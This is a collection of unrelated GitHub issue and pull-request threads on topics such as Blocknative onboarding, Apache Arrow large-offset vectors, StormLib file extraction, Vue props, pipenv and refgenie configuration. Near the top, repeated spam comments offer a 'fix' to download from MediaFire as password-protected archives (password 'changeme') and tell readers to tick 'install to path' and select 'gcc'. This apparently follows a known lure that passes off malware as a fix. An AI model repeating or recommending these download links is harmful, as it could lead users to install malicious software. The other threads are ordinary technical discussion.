Add Materials Class In Material List

Preparation

[X] No one has asked for this feature before in other issues (even the closed ones)

Describe the feature
Add Material Class to the list of materials in the battle configuration. because the drop materials drop randomly like other materials. Usually I only need a few, with the material feature which usually stops when the amount of material is reached so I can casually wait for the battle and will make it easier for me to save apples.

Build 1781 should work, please test.

Work!! thank you.


Please invite me to the GitHub Community Organization

Name
Mukesh Vemulapalli
Discord Username (if applicable)
mukesh_27
Additional Context
I discovered the Design and Code community through industry forums and recommendations from fellow developers who praised its collaborative and innovative approach to merging design and development. What I particularly appreciate about this community is its focus on bridging the gap between design principles and coding practices, fostering a space where creativity and technical skills are harmoniously integrated. I want to join Design and Code to enhance my understanding of best practices in both design and development, contribute to collaborative projects, and engage with a network of professionals who share my passion for creating user-centered, high-quality software

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Fixing decorating http-interop middleware

Resolves #117
The issue introduced (by me...) in https://github.com/zendframework/zend-stratigility/commit/fc6e2fa5e64ba78e1ad9daee03f245e2b26e9d0e#diff-b0a106edbc39bdd5795a901014bd525cR485
/cc @weierophinney

Thanks, @webimpress.


Fixes keyboard multi-select not working in 'Open Editors' and 'Source Control' views

This PR fixes #128268

❤🍻


Onboarding when on a wrong network - cannot instantiate or decorate the contract

https://account.blocknative.com/api-docs
To integrate Assist.js into your dapp, you'll need to do 5 things:

1. Create a free account and get an API key from account.blocknative.com
2. Install the widget
3. Initialize the library
4. Call onboard
5. Decorate your contracts

Here is my situation: https://youtu.be/vtGCysMnR9U

1. 2. 3. done
do I really want to onboard ASAP?
cannot instantiate contract (I'm on a wrong network)

I'd rather onboard only when sending a transaction, initially OK to display data without onboarding?
Workarounds

onboard ASAP
gotofail()my own wrong network error handling

EDIT/UPDATE: I still need to think through about the ideal flow, will sleep on it.
The code
(async function main() {
    var bncAssistConfig = {
        dappId: "_____-_______-________-_______",
        networkId: 3
    };
    var assistInstance = assist.init(bncAssistConfig);

    ABI = [{"constant":true,"inputs":[],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"rate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_rate","type":"uint256"},{"name":"_validTo","type":"uint256"}],"name":"updateRate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isRateValid","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"validTo","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_ERC20TokenAddress","type":"address"},{"name":"_rate","type":"uint256"},{"name":"_validTo","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"ETH","type":"uint256"},{"indexed":false,"name":"tokens","type":"uint256"},{"indexed":false,"name":"rate","type":"uint256"}],"name":"Trade","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"rate","type":"uint256"}],"name":"ExchangeRateUpdated","type":"event"}];
    address = "0xd3a4e90defae77874ef95119e3e59c70a741c63d";
    contractRaw = new web3.eth.Contract(ABI, address);
    contract = assistInstance.Contract(contractRaw)

    let validTo = await contract.methods.validTo().call(); $("#validTo").val(validTo);

    let rate = await contract.methods.rate().call(); $("#rate").val(rate);

    let network = await web3.eth.net.getId();

    function testNetworkTestnetRopsten() {
        if (network !== 3) {
            gotofail();
        }

        let networkLongPolling = setInterval(async function(){
            network = await web3.eth.net.getId();

            if (network !== 3) {
                clearInterval(networkLongPolling);
                gotofail();
            }
        }, 1000);
    }

    testNetworkTestnetRopsten();

    function gotofail() {
        console.log("WRONG NETWORK");
    }

    $("#send").on("click", function() {
        console.log("ETH: " + $("#eth").val() );

        assistInstance.onboard()
        .then(function(success) {
            console.log("EVERYTHING OK, no action needed");
            // User has been successfully onboarded and is ready to transact
            // This means we can be sure of the follwing user properties:
            //  - They are using a compatible browser
            //  - They have a web3-enabled wallet installed
            //  - The wallet is connected to the config-specified networkId
            //  - The wallet is unlocked and contains at least `minimumBalance` in wei
            //  - They have connected their wallet to the dapp, congruent with EIP1102
        })
        .catch(function(error) {
            // The user exited onboarding before completion
            // Will let you know what stage of onboarding the user was up to when they exited
            console.log(error.message);
        })

    })

})();

Hey @marsrobertson i believe you are getting that error because you are querying your contract before checking that the user is on the correct network. What you might want to do is structure your app differently so that you don't query your contracts until you have called onboard to make sure that the user is on the correct network. If you don't want to fully onboard the user before querying contracts you could use the getState function to check if the user is on the correct network before executing contract queries to avoid errors.
As a side note, since you are using web3 1.0, we recommend passing that in to the init call so that Assist is using the same version of web3 as you are. You can pass it in by adding it to your config:
var bncAssistConfig = {
        dappId: "_____-_______-________-_______",
        networkId: 3,
        web3: web3 // pass in your instantiated version of web3
    };
    var assistInstance = assist.init(bncAssistConfig);

Let me know if that helps!

@marsrobertson I have created a PR (#163) that adds our "Wrong Network" modal functionality to contract queries when the user is on the wrong network. This should be merged in the next few days (if not sooner). It will now instruct the user to change networks if they are on the wrong network just like in the onboarding flow, but without the rest of the onboarding modals. You will have to handle the rejection/error if the user exits out of the modal which will still require restructuring your app slightly, but the user will at least get some UI feedback if you do try and query a contract when they are on the wrong network.

WOW.
Exactly.
That's the thing I had in mind.
Full onboarding: unlocking accoujnt, connecting, permissions, ready to transact.
Basic reading data from smart contract: no need to jump through all the hoops, just check if network is correct.
Now I’m reaching a step further - even if you are on a wrong network, Infura / MetaMask / etc can read data from the correct one?
(not sure if that is technically feasible)

This would be possible, but would be a little bit awkward. You would need to spin up another instance of web3 or ethers that has a provider connected to an ethereum node (ie infura) with the network specified to the network your contract is deployed to. You could then create another instance of your contract with that provider. You can then query this contract without having to worry about which network the user is on as it is no longer dependent on the MetaMask provider. Hope that helps mate!

It is awkward, I know.
It is still possible though.

Ability to browse the Dapp, displaying everything, checking things out (separate provider)

Actually transacting with the contract, here you need to select the right network

It's too much hassle, too much burden for me, so many other, more important issues.
However, if you believe that it is a usability improvement and your company stands for usability, adoption and user onboarding then you may do a quick show of hands / market research.
RANDOM: Me using BlockNative Assist on Ropsten: https://genesis.re/trustless-token-transfer-trade/


GetUser send only encrypted private key on classic login

Intermediate keys and metadatas are sent only on loginWithSignature.
This is breaking change !

Merge in expirable_signature to have v2 server


ARROW-6111: [Java] Support LargeVarChar and LargeBinary types

These types of vectors are also variable width vectors. However, they have a offset width of 8, so the underlying data buffer can be over 2GB in size.

@siddharthteotia do you have time to review?

@BryanCutler if you have time to review it would be appreciated otherwise I can take a look soon.

I will review this tomorrow. Sorry for the delay.

@siddharthteotia do you still intend to review?

@liyafan82 what's the status of this? Are you intending to get this into 0.17?

@liyafan82 what's the status of this? Are you intending to get this into 0.17?

@nealrichardson Thanks for your attention.
This PR is being reviewed. I am not sure if the reviewing process can finish in time.

@siddharthteotia Do you have any comments to this PR?

@BryanCutler @liyafan82 can this be merged now?

@BryanCutler @liyafan82 can this be merged now?

@emkornfield Since ARROW-7610 is finished, we need to add an integration test for LargeVarChar/LargeBinary in this PR (or in another PR)?

I have added integration test for the large varchar vector.

If you're doing integration tests as part of this patch, please remove this skip: https://github.com/apache/arrow/blob/master/dev/archery/archery/integration/datagen.py#L1446

Yes, please enable integration tests and lets make sure it passes before merging this.

@nealrichardson and @BryanCutler Thanks for your good suggestion.
I have removed the skip in datagen.py, but the tests failed. The reason is that we do not support LargeList type yet:
2020-05-06T03:03:50.3032543Z com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'largelist' as a subtype of [simple type, class org.apache.arrow.vector.types.pojo.ArrowType]: known type ids = [binary, bool, date, decimal, duration, fixedsizebinary, fixedsizelist, floatingpoint, int, interval, largebinary, largeutf8, list, map, null, struct, time, timestamp, union, utf8] (for POJO property 'type')
2020-05-06T03:03:50.3033308Z  at [Source: (File); line: 7, column: 19] (through reference chain: org.apache.arrow.vector.types.pojo.Schema["fields"]->java.util.ArrayList[0]->org.apache.arrow.vector.types.pojo.Field["type"])

@BryanCutler @siddharthteotia I think I'm OK merging if this is you are happy with the code and following up on integation tests as part of ARROW-6110?  What do you two think?

I think you should be removing the skip Java here https://github.com/apache/arrow/blob/2f72713446b04f8979b04f907e7185985028b0a8/dev/archery/archery/integration/datagen.py#L1480 to enable integration testing for this.  I'll try to take another review pass early next week.

@BryanCutler I believe the integration tests couple LargeList with LargeVarChar/LargeBinary, so both need to be implemented to enable the integration tests.

The generate_primitive_large_offsets_case looks like it is just testing 'largebinary', 'largeutf8'. Are large lists somehow part of that?
def generate_primitive_large_offsets_case(batch_sizes):
    types = ['largebinary', 'largeutf8']

    fields = []

    for type_ in types:
        fields.append(get_field(type_ + "_nullable", type_, nullable=True))
        fields.append(get_field(type_ + "_nonnullable", type_, nullable=False))

    return _generate_file('primitive_large_offsets', fields, batch_sizes

@BryanCutler you are correct, for some reason I thought LargeList was coupled with LargeVarChar/LargeBinary.

@BryanCutler @emkornfield Sorry for my late response.
I have removed the skip. Let's see if the integration tests can pass this time.

Thanks @liyafan82 , looks like they didn't pass on this first try. Any idea what was causing the error:
Error accessing files
Current token (VALUE_STRING) not numeric, can not use numeric value accessors
 at [Source: (File); line: 65, column: 14]
12:46:37.776 [main] ERROR org.apache.arrow.tools.Integration - Error accessing files
com.fasterxml.jackson.core.JsonParseException: Current token (VALUE_STRING) not numeric, can not use numeric value accessors
 at [Source: (File); line: 65, column: 14]
	at com.fasterxml.jackson.core.JsonParser._constructError(JsonParser.java:1804)
	at com.fasterxml.jackson.core.base.ParserMinimalBase._reportError(ParserMinimalBase.java:698)
	at com.fasterxml.jackson.core.base.ParserBase._parseNumericValue(ParserBase.java:781)
	at com.fasterxml.jackson.core.base.ParserBase._parseIntValue(ParserBase.java:799)
	at com.fasterxml.jackson.core.base.ParserBase.getIntValue(ParserBase.java:645)
	at org.apache.arrow.vector.ipc.JsonFileReader$BufferHelper$5.read(JsonFileReader.java:306)

Thanks @liyafan82 , looks like they didn't pass on this first try. Any idea what was causing the error?
Error accessing files
Current token (VALUE_STRING) not numeric, can not use numeric value accessors
 at [Source: (File); line: 65, column: 14]
12:46:37.776 [main] ERROR org.apache.arrow.tools.Integration - Error accessing files
com.fasterxml.jackson.core.JsonParseException: Current token (VALUE_STRING) not numeric, can not use numeric value accessors
 at [Source: (File); line: 65, column: 14]
	at com.fasterxml.jackson.core.JsonParser._constructError(JsonParser.java:1804)
	at com.fasterxml.jackson.core.base.ParserMinimalBase._reportError(ParserMinimalBase.java:698)
	at com.fasterxml.jackson.core.base.ParserBase._parseNumericValue(ParserBase.java:781)
	at com.fasterxml.jackson.core.base.ParserBase._parseIntValue(ParserBase.java:799)
	at com.fasterxml.jackson.core.base.ParserBase.getIntValue(ParserBase.java:645)
	at org.apache.arrow.vector.ipc.JsonFileReader$BufferHelper$5.read(JsonFileReader.java:306)

Thank you @BryanCutler . I am investigating.

@BryanCutler The integration tests pass now. Please take another look when you have time. Thank you.

Great job getting integration tests passing @liyafan82 ! I took a quick look and LGTM, will do a more thorough pass hopefully tomorrow before merging.

@BryanCutler Please take your time. Thanks a lot for your effort.

merged to master, thanks @liyafan82 !

@BryanCutler @siddharthteotia @emkornfield I am aware that this PR is large, and consumes lots of effort. So thanks a lot for your effort and good comments!


kernel doc updates

What:

Add kernel ID description

Coverage decreased (-0.03%) to 71.348% when pulling e9f8f07a6103673d4e8343d302b9afd4252e7ef2 on SzySteve:docs/kernels into 6c335ad9d69e77d90c03f68d7ed93706ba900899 on linode:pending-docs-updates.

Coverage remained the same at 71.296% when pulling 99d53c29f372af000233133666327365242fcc13 on SzySteve:docs/kernels into 81f1b9b62fd7be0446a2ec299ffd3cc3fa2e84ba on linode:pending-docs-updates.


Jython support

Coming from https://github.com/pypa/pip/pull/10202, where we noticed that there's no analogue to appdirs.system -- which seems to exist primarily for Jython support.
https://github.com/ActiveState/appdirs/blob/8eacfa312d77aba28d483fbfb6f6fc54099622be/appdirs.py#L27-L40
It might be worthwhile to exploring what to do here.

This may be slightly tedious since actions/setup-python doesn't know how to install Jython (https://github.com/actions/setup-python/issues/39) but we can probably give it a shot the old fashioned way.

Considering the very low adoption of jython and endless bugs it provides I'd rather not add it to the CI and just validate with a simple unit test support for it 👍

I removed the system attribute while dropping Python 2 support as part of #14. At the time jython only supported Python 2, and I think that's still the case.

It might be worthwhile to exploring what to do here.
Python 2

LOL. I'll defer to the maintainers, but feel free to close this. :)

:D hooray for WONTFIX. Sounds good.


Admin UI is missing new Metadata 2.2/2.3 fields

The template at https://github.com/pypi/warehouse/blob/main/warehouse/admin/templates/admin/projects/release_detail.html is missing the new Dynamic and Provides-Extra fields.
Ideally, this template would use the enum from #13606 instead of manually enumerating all these fields.

Good First Issue: This issue is good for first time contributors. If you've already contributed to Warehouse, work on another issue without this label instead. If there is not a corresponding pull request for this issue, it is up for grabs. For directions for getting set up, see our Getting Started Guide.
If you are working on this issue and have questions, feel free to ask them here, in the #pypa-dev chat channel on Libera, the PyPA Discord or on the Discourse.
Screenshot Required: If your pull request makes a visual change, include a screenshot of your update. This helps our team give you feedback faster.

Working on it


Support async stacktraces

We should add support to the library for async stack traces. Many promises libraries come with support for this now so I think it should be easy.

For now we can just leave this up to the user. If they're using something like bluebird then async stacktraces seem to "just work" in many cases.
In the future we might want to show the async jumps in the web UI, but that will require a much larger change.


[WIP] Support C->R case

Follow up on https://github.com/patrick-kidger/optimistix/issues/76

@patrick-kidger I think this is a reasonable implementation of what we discussed. Some documentation changes are probably required.
Mixed complex-real outputs are not supported here (but inputs are). We could aggressively assume that any real output means real output, but that would complicate implementation. It also would be a breaking change for cases where the function is properly linear (e.g., when complex and real inputs are multiplied each by a separate matrix). I don't think we can really detect this case and give it special treatment, but suggestions are welcome. All in all, keeping in mind the optimization use case, I think this is a reasonable degree of generality.
Also, if you see any edge cases I missed, I'll be happy to add them to the tests.

ping @patrick-kidger


Branch ppp skeleton

Update Wei Jie's Project Portfolio Page.

Codecov Report

Merging #16 (b0070a9) into master (e47b7b3) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master      #16   +/-   ##
=========================================
  Coverage     72.15%   72.15%
  Complexity      399      399
=========================================
  Files            70       70
  Lines          1232     1232
  Branches        125      125
=========================================
  Hits            889      889
  Misses          311      311
  Partials         32       32

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e47b7b3...b0070a9. Read the comment docs.


Recipe support for private Bicep registries

Current state
Today we allow OCI registries with anonymous pull to be used as Bicep registries for Recipes. For example, ghcr.io/radius-project/recipes/local-dev/rediscaches:latest is a public Recipe Bicep module: https://github.com/radius-project/recipes/pkgs/container/recipes%2Flocal-dev%2Frediscaches
Desired state
We want to enable users to be able to use private OCI registries that are not open to the public. For example, an ACR or GHCR registry could be locked down to only certain users or accounts.
Acceptance criteria

[x] A user can create an OCI registry, such as an Azure Container Registry, that is private and can only be pulled from by allowed users/accounts
[x] Recipes can be pushed to this OCI registry via rad bicep publish, after the user logs into the OCI registry via the registries login mechanism (az acr login for example).
[x] The private Recipe can be added to an environment's list of Recipes
[ ] A user can configure credentials for the OCI registry
[ ] Radius uses the credentials to fetch Recipes
[ ] If credentials are invalid for the registry, an anonymous pull is attempted. This prevents a user from registering credentials for ghcr.io/myaccount and then public recipes for ghcr.io/radius-project can no longer be pulled.
[ ] Users can list configured credentials and view the username, but not the password
[ ] Users update credentials to roll them when they are expired or need to be replaced
[ ] Users can remove credentials for a specific OCI registry

AB#10666

Similar to #6911

Triaged: similar parity #6911

/assign @vishwahiremat

/assign


Incorrect file size and/or SFileExtractFile behaviour

I'm trying to extract StarCraft.exe from the official StarCraft 1.16.1 patch. I have something along these lines:
const char* patch_path = "some-path/BW-1161.exe";
SFileOpenArchive(patch_path, 0, 0, &patch_archive);
SFileExtractFile(patch_archive, "starcraft.exe", "extracted/StarCraft.exe", 0);
SFileCloseArchive(patch_archive);

After the file is extracted it ends up as a corrupted executable. There are 24 extra bytes of data before the MZ header magic. The total size of the extracted file is 1,220,632 bytes. Interestingly the MPQ Editor manages to extract a valid exe file (with size 1,220,608 bytes), but reports the size as 1,220,632 bytes in the UI.
I'm using:

StormLib v9.25 (but the latest master behaves the same way).
MPQ Editor <IP_ADDRESS>5 [StormLib v9.25] (but 3.6.085 [StormLib v9.22] behaves the same way).

Had a quick look and I think the extraction is correct and the file simply has additional data at the beginning, possible for patching purposes. The 32-bit LE value at offset 12 contains the actual size of the file in bytes (00A01200 = 1220608). Third byte looks like it's an offset to the start of the data (or a coincidence), so it could be the size of an additional header in BE.
I'm guessing MPQEditor knows what it is and makes the necessary adjustments where as StormLib just extracts as-is.

I'm guessing MPQEditor knows what it is and makes the necessary adjustments whereas StormLib, being lower level, just extracts as-is.

Yep:

That's a surprise. Thanks!
I'm guessing that is unrelated to patchfiles? WoW Cataclysm is after StarCraft 1.16.1, I believe.
Is there anything fancy about this detection? Or does it just strip the first 18 bytes? I am now noticing that battle.snp and standard.snp that the MPQ Editor extracts from the patch are not valid DLL/PE files and StarCraft does not load them.

I'm guessing that is unrelated to patchfiles? WoW Cataclysm is after StarCraft 1.16.1, I believe.

It is unrelated. Patch files in Starcraft are much older.

Is there anything fancy about this detection?

Not really:


Python 3.7.7 on Windows 10 x64 failing to install azure via pipenv

Problem
I am on a Windows 10 x64 VDI using Python 3.7.7 x64. I am attempting to install azure  using pipenv. The command its following output are located in this Gist.

https://gist.github.com/predatorian3/68a747364f6a07514ccc67ad348eaeda

The command used.
C:\Users\dudleyp\Documents\Development\Azure
λ  py -3.7 -m pipenv install --pre

The Pipfile.
[[source]]
name = "pypi"
url = "https://pypi.org/simple"
verify_ssl = true

[dev-packages]

[packages]
azure-cli = "*"
azure-devops = "*"
azure = "*"

[requires]
python_version = "3.7"

[pipenv]
allow_prereleases = true

It seems to be complaining about something to do with azure-batch not matching a version constraint.
Computer Information
C:\Users\dudleyp\Documents\Development\Azure
λ  systeminfo.exe

Host Name:                 V1DUDLEYP
OS Name:                   Microsoft Windows 10 Enterprise
OS Version:                10.0.17134 N/A Build 17134
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Workstation

Hi @predatorian3
The current recommendation is to not use azure meta-package, but to install individual packages as needed (like azure-mgmt-compute). May I ask you why you are trying to install azure (what documentation you read, what samples, etc.) so we can update that page.
Thank you!

lack of knowledge on my part and not knowing which client library I would need right now to do what I'm experimenting with.

azure packages has been officially deprecated, the list of available packages can be found here:
https://aka.ms/azsdk/python/all


Navigate to deck list page after each write operation of adding deck, card or answering question

Write operate cause state's change which will trigger the UI update. The stack navigator is in the decks view which is refreshed every time. It's been fixed after decoupling the state from stack navigator.


Exporting/Importing Scenes

Created scene in another game, exported to another game. Multilevel and teleport no longer works for previously created 'drawings' but work if areas are recreated: all tokens are on different scenes.

attempted re-entering text content
attempted re-exporting/importing

Thanks for the report. I've confirmed the issue. The problem is that the module currently checks that the special regions were created by a GM. When importing a scene into a different game, the regions remain associated with the user ID from the original game, which does not exist in the new game, so the check-for-GM part fails.
Not sure what to do about this yet. The GM check was intended so that players can't muck about with special regions themselves, but perhaps this is needlessly paranoid. I might also ask whether the imported scene ending up with invalid user IDs is intended from Foundry's perspective.

Added a workaround. When importing scenes we update any drawings with invalid author IDs to use the current user's ID instead. Will be fixed in 0.4


Create the Documentation page where the various components would be displayed.

Create a single page that would show the various components that people have contributed.

Hi @Keerat666,
can you please explain this issue to me. I want to work on it.
But before that I want to understand this requirement.

Trying to create a UI library that other people can use like this :
https://demos.creative-tim.com/now-ui-kit/index.html?ref=nuk-readme
So, the first page should be something like this where all the different components are shown.


fix: 💫 set ball to move left or right, intially at random

Description
Set ball to spawn moving either left or right, at random, when the game starts.
Type of change

[X] New feature (non-breaking change which adds functionality)

How Has This Been Tested?

[X] Catch2 tests run and passed

Checklist:

[X] My code follows the style guidelines of this project
[X] I have performed a self-review of my own code
[X] I have commented my code, particularly in hard-to-understand areas
[X] I have made corresponding changes to the documentation
[X] My changes generate no new warnings
[X] I have added tests that prove my fix is effective or that my feature works
[X] New and existing unit tests pass locally with my changes
[X] Any dependent changes have been merged and published in downstream modules

Codecov Report
Attention: 2 lines in your changes are missing coverage. Please review.

Comparison is base (ad4c6d7) 20.90% compared to head (304177a) 20.90%.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files

@@           Coverage Diff           @@
##             main      #66   +/-   ##
=======================================
  Coverage   20.90%   20.90%
=======================================
  Files           4        4
  Lines         177      177
  Branches       51       54    +3
=======================================
  Hits           37       37
  Misses        140      140

Files
Coverage Δ

src/entities.cpp
0.00% <0.00%> (ø)


props input an object and behave inconsistently in production and development mode.

Vue version
3.2.37
Link to minimal reproduction
playground
Steps to reproduce
1、Run this demo in development mode in a local tool.
2、Click on label1 or label2.
3、Looking at the console log, you will find that the options update is triggered.
4、After compiling, open index.html (or operate directly on the playground) and repeat the second step.
5、Looking at the console log, there is no onTrigger, indicating that the options update is not triggered.
What is expected?
The development mode is the same as the production mode, and options update will not be triggered.
What is actually happening?
The two modes are inconsistent, and the above scenario occurs.
System Info
No response
Any additional comments?
499bc0b
Can you discuss a better solution? At present, this may lead to inconsistencies in the logic of developers in development and production, so that some wrong processing is applied to production.

This is a tricky one as the observed behavior is a compromise we did to get better perf in production while having proper updates during HMR in development:

The compiler is aware that we dynamically generate a fresh array on every render in the template, but also, that it's a static value, meaning it will always come out the same shape.
Therefore, wer compiler tells the renderer that it can effectives skip this prop during updates
But in dev, for HMR, we always need to send all props to the child component in case that the latest change that triggered HMR changed a (otherwise static) prop.

Making this consistent would mean for us to a) remove the render optimization in prod or b) break HMR, none of which seem like good alternatives. At the same time, we are aware that unexpected behavioral differences between dev and prop can be very problematic and lead to hard-to-trace bugs driving decs insane.
The reason we still made this design choice is that we are under the impression that there's little to no reason to rely on the update of a prop like options in your example that is, by it's nature, static, and only dynamic because the value was generated in the template, not the script block.
So to better understand the scope of this issue for you, can you give us an example of where you relied on this dev behavior and how it affected your app?


fix demo link

Signed-off-by: Thomas Poignant<EMAIL_ADDRESS>Description
Edit demo link
Changes include

[x] Bugfix (non-breaking change that solves an issue)
[ ] New feature (non-breaking change that adds functionality)
[ ] Breaking changes (change that is not backward-compatible and/or changes current functionality)

Closes issue(s)

Resolve #
Checklist

[ ] I have tested this code
[ ] I have added unit test to cover this code
[x] I have updated the documentation (README.md and /website/docs)
[x] I have followed the contributing guide

Coverage: 93.766%. Remained the same when pulling e93542ad8e88cce5880bb61cb0e55e797dd71c87 on edit-demo-link into 18f3b2cb947092396e7e4bfb699457b1c7624229 on main.


Create an endpoint of a new Game Instance/Draft

Description
Please provide a short summary explaining what this PR is about.
Fixes #84
How to test?
Swagger, knex and TablePlus
Checklist

[] I have performed a self-review of my own code
[] I have commented my code, particularly in hard-to-understand areas
[] I have made corresponding changes to the documentation
[ ] I have merged the latest version of the source branch (typically develop) into this branch before pushing my changes
[ ] This PR is ready to be merged and not breaking any other functionality

Please  note at this PR not for merge, its just to test and figure out the issues


UI for reaching clusters without the rancher server proxy

We're going to make it so that for RKE clusters, users can specify an FQDN and optionally a CA cert on cluster creation or as an update which will cause us to create the kubeconfig differently so that it points directly at the FQDN, not the rancher server url.
https://github.com/rancher/rancher/issues/13698
https://github.com/rancher/rancher/issues/13474
@erikwilson please add more details and make sure you work with @westlywright on this, once it gets to a point where he can integrate. Assign to erik as well as wes until its ready for wes to integrate with, then you can unassign yourself erik.

Version: Master 2.2 (2/14/19)
This adds Authorized Cluster Endpoint section under Advanced Options for RKE clusters.

In the API this adds localClusterAuthEndpoint. I validated this from UI perspective and http/API looks good.
localClusterAuthEndpoint: {enabled: true, type: "localClusterAuthEndpoint",…}
  caCerts: value goes here. if empty is "null" without quotes
  enabled: true
  fqdn: "redacted.us-west-1.compute.amazonaws.com"
  type: "localClusterAuthEndpoint"

v3/schemas/localClusterAuthEndpoint seems to match what I see in the UI appropriately.
If your certificate is invalid (garbage data, etc) you will get a message in the UI:

Once I have a proper certificate (It checks for ------BEGIN CERTIFICATE------ and ------END CERTIFICATE------) only then may I submit the form and create/edit my cluster.


node-red-contrib-sap-node node installation Fail from manage palette

What are the steps to reproduce?

try to install node-red-contrib-sap-node from manage palette in node-red .

What happens?
If we try to install the sap hana node from manage palette it is failing to install.

Tested Node-Red Image using
docker run command using proxy network able to install SAP Hana node in the specified UserDir.
but same image using docker compose file with proxy network installation of SAP node is failing in specified UserDir.

2.Tried with root user using docker compose file Node installation is failed.
Error:
<EMAIL_ADDRESS>failed to map segment from shared object
TypeError: Cannot read property '__stopAllWork' of null
at Module._compile (internal/modules/cjs/loader.js:778:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:789:10)
at Module.load (internal/modules/cjs/loader.js:653:32)
at tryModuleLoad (internal/modules/cjs/loader.js:593:12)
at Function.Module._load (internal/modules/cjs/loader.js:585:3)
at Function.Module.runMain (internal/modules/cjs/loader.js:831:12)
npm ERR! code ELIFECYCLE
npm ERR! errno 255
npm ERR<EMAIL_ADDRESS>install: node checkbuild.js
npm ERR! Exit status 255
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>install script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.
npm ERR! A complete log of this run can be found in:
npm ERR!     /root/.npm/_logs/2021-04-21T06_57_45_674Z-debug.log
What do you expect to happen?
-it should install the sap hana node with docker compose also in the specified UserDir.
Please tell us about your environment:

[ ] Node-RED version: 1.2.5
[ ] Node.js version: v10.19.0
[ ] npm version: 6.13.4
[ ] Platform/OS: Docker / Debian OS
[ ] Browser: Mozilla firefox/ Google Chrome

That node is not part of the core of node-red, you probably need to raise this with the author directly.
If I remember correctly this is because the SAP code will not build on Alpine based Docker Images

Closing as this isn't a core Node-RED issue.
As @hardillb says, the Node-RED docker images we provide are alpine based and may not contain all the build tools needed for every node out there. You may need to create your own docker image with the necessary bits in.


How can i block drag/drop any board item?

I want to block some items dragging, how can i do?

{
  id: id,
  title: title,
  draggable: false // custom data i was add
}

I was add custom data(draggable) for item. And i am controlling this data on dragEl function;
dragEl: function (el, source) {
    if (el.dataset.draggable === 'false') {
        // How can i stop drag transaction at here?
    }
},

I want to stop drag transaction if draggable data is false. I tried return false; but it wasn't work.
This is enought for block any item draggable for me.

Use this. https://github.com/riktar/jkanban/issues/112#issuecomment-780541170

I tried but it gives me an error:
Uncaught TypeError: Cannot read property 'getBoundingClientRect' of null
// ...
var r = function (e) {
    var t = e.getBoundingClientRect();
    return {
        left: t.left + K("scrollLeft", "pageXOffset"),
        top: t.top + K("scrollTop", "pageYOffset")
    }
}(m);
// ...

I was fixed problem like that;
var r = function (e) {
    var t = e.getBoundingClientRect();
    if (t) {
        return {
            left: t.left + K("scrollLeft", "pageXOffset"),
            top: t.top + K("scrollTop", "pageYOffset")
        }
    }
}(m);

Thanks!

Very good. Please close the issue.


init error

refgenie init -c config/refgenie_config.yaml -f $GENOMES -u http://awspds.refgenie.databio.org/refgenomes.databio.org/ -a $GENOMES/archive -b refgenie_config_archive.yaml
RefGenConf object did not pass schema validation
Traceback (most recent call last):
  File "/home/ns5bc/.local/bin/refgenie", line 10, in <module>
    sys.exit(main())
  File "/home/ns5bc/.local/lib/python3.6/site-packages/refgenie/refgenie.py", line 738, in main
    rgc = RefGenConf(entries=entries, skip_read_lock=skip_read_lock)
  File "/home/ns5bc/.local/lib/python3.6/site-packages/refgenconf/refgenconf.py", line 108, in __init__
    write_validate=True,
  File "/home/ns5bc/.local/lib/python3.6/site-packages/yacman/yacman.py", line 141, in __init__
    self.validate()
  File "/home/ns5bc/.local/lib/python3.6/site-packages/yacman/yacman.py", line 199, in validate
    self.to_dict(expand=True), schema or getattr(self[IK], SCHEMA_KEY)
  File "/home/ns5bc/.local/lib/python3.6/site-packages/jsonschema/validators.py", line 934, in validate
    raise error
jsonschema.exceptions.ValidationError: 'http://refgenomes.databio.org' is not of type 'array'

Failed validating 'type' in schema['properties']['genome_servers']:
    {'items': {'type': 'string'}, 'type': 'array'}

On instance['genome_servers']:
    'http://refgenomes.databio.org'

can't figure out why I can't init a new config...

The error message says that the schema expects the genome_servers to be an array of strings. You used a single string.

